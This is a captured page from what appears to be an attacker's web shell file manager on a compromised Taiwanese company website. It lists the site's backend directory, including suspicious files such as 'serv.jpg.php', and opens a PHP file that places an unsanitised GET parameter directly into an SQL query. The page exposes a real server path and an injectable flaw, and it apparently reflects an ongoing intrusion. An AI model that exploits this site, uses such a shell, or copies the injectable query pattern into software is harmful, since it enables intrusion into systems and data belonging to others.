X7ROOT File Manager
Current Path:
/var/www/vhosts/hwtw.com.tw/httpdocs/backend
var
/
www
/
vhosts
/
hwtw.com.tw
/
httpdocs
/
backend
/
📁
..
📄
.DS_Store
(14 KB)
📄
.htaccess
(1.33 KB)
📄
529.php
(2.07 KB)
📄
HanszxzV.html
(1.72 KB)
📄
acl.php
(501 B)
📄
acl_s.php
(3.8 KB)
📄
acl_u.php
(1.84 KB)
📄
acl_xml.php
(3.92 KB)
📄
admin.php
(5 B)
📄
admin_data.php
(6.48 KB)
📄
admin_i.php
(3.21 KB)
📄
admin_s.php
(15.22 KB)
📄
admin_u.php
(4.11 KB)
📁
alertifyjs
📁
assets
📄
auth_check.php
(6.2 KB)
📄
batchdelete.php
(236 B)
📁
bootstrap
📄
changesort.php
(238 B)
📄
changestatus.php
(255 B)
📁
ckeditor
📁
config
📁
css
📁
datetimepicker
📄
favicon.ico
(596 B)
📁
func
📄
getclass.php
(376 B)
📁
images
📄
index.php
(3 B)
📄
index_class.php
(5 B)
📄
index_class_data.php
(3 B)
📄
index_class_s.php
(7.09 KB)
📄
index_img.php
(3 B)
📄
index_img_data.php
(7.05 KB)
📄
index_img_i.php
(3.2 KB)
📄
index_img_s.php
(13.7 KB)
📄
index_img_u.php
(3.74 KB)
📁
js
📁
kcfinder
📄
list_category.php
(1.89 KB)
📄
login.php
(5.66 KB)
📄
logout.php
(104 B)
📄
menu.php
(2.44 KB)
📄
news.php
(1.04 KB)
📄
news_class.php
(1.27 KB)
📄
news_class_data.php
(7.65 KB)
📄
news_class_i.php
(3.21 KB)
📄
news_class_s.php
(15.99 KB)
📄
news_class_u.php
(3.75 KB)
📄
news_data.php
(18.27 KB)
📄
news_i.php
(3.21 KB)
📄
news_s.php
(16.24 KB)
📄
news_u.php
(3.74 KB)
📄
peli.php
(3.22 KB)
📄
product.php
(1.46 KB)
📄
product_class.php
(1.27 KB)
📄
product_class2.php
(1.07 KB)
📄
product_class2_data.php
(8.04 KB)
📄
product_class2_i.php
(3.21 KB)
📄
product_class2_s.php
(17.6 KB)
📄
product_class2_u.php
(3.75 KB)
📄
product_class_data.php
(9.07 KB)
📄
product_class_i.php
(4.01 KB)
📄
product_class_s.php
(9.69 KB)
📄
product_class_u.php
(3.75 KB)
📄
product_data.php
(8.13 KB)
📄
product_i.php
(3.17 KB)
📄
product_s.php
(15.11 KB)
📄
product_u.php
(3.72 KB)
📄
public_include.php
(372 B)
📄
serv.jpg.php
(11.91 KB)
📄
sortable.php
(1.56 KB)
📄
start.php
(383 B)
📄
start_data.php
(202 B)
📄
start_s.php
(14 KB)
📄
support.php
(1.29 KB)
📄
support_data.php
(3.88 KB)
📄
support_s.php
(8.17 KB)
📄
support_u.php
(3.7 KB)
📄
template.php
(11.03 KB)
📁
toastr
📄
top.php
(1.62 KB)
📄
web_setting.php
(1018 B)
📄
web_setting_data.php
(3.53 KB)
📄
web_setting_u.php
(3.75 KB)
Editing: list_category.php
<?php $templet_id = $_GET['templet_id']; if($templet_id!=''){ $strSQL ="select * from list_class_detail where templet_id=$templet_id"; $rs = $db->Execute($strSQL); unset($arr_xml); foreach ($rs as $value) { $arr_xml[$value['class_id']]=true; } } $strSQL = 'select * from product_class where up_id="0" order by sort desc'; $rs = $db->Execute($strSQL); $i = 0; foreach ($rs as $vvv) { $strSQL = 'select * from product_class where up_id ='.$vvv['id'].' order by sort desc'; $rs1 = $db->Execute($strSQL); $j=0; if($arr_xml[$vvv['id']]===true){ $check_value='checked="1"'; }else{ $check_value=''; } $a .="\t". '<item text="'.stripInvalidXml($vvv['title_tw']).'" id="'.$vvv['id'].'" close="1" im0="icon_folder_closed.gif" im1="icon_folder_opened.gif" im2="folderClosed.gif" '.$check_value.'>'."\n"; foreach ($rs1 as $vvvv) { $j++; if($arr_xml[$vvvv['id']]===true){ $check_value='checked="1"'; }else{ $check_value=''; } $name = stripInvalidXml($vvvv['title_tw']); $a .= "\t"."\t".'<item text="'.$name.'" id="'.$vvvv['id'].'" im0="book_titel.gif" im1="book.gif" im2="book_titel.gif" '.$check_value.'/>'."\n"; } $i++; $a .= "\t".'</item>'."\n";//end group } function stripInvalidXml($value) { $ret = ""; $current; if (empty($value)) { return $ret; } $length = strlen($value); for ($i=0; $i < $length; $i++) { $current = ord($value{$i}); if (($current == 0x9) || ($current == 0xA) || ($current == 0xD) || (($current >= 0x20) && ($current <= 0xD7FF)) || (($current >= 0xE000) && ($current <= 0xFFFD)) || (($current >= 0x10000) && ($current <= 0x10FFFF))) { $ret .= chr($current); } else { $ret .= " "; } } return $ret; } // header('Content-Type: text/xml'); echo " <tree id=\"0\"> $a </tree>"; exit; ?>
Upload File
Create Folder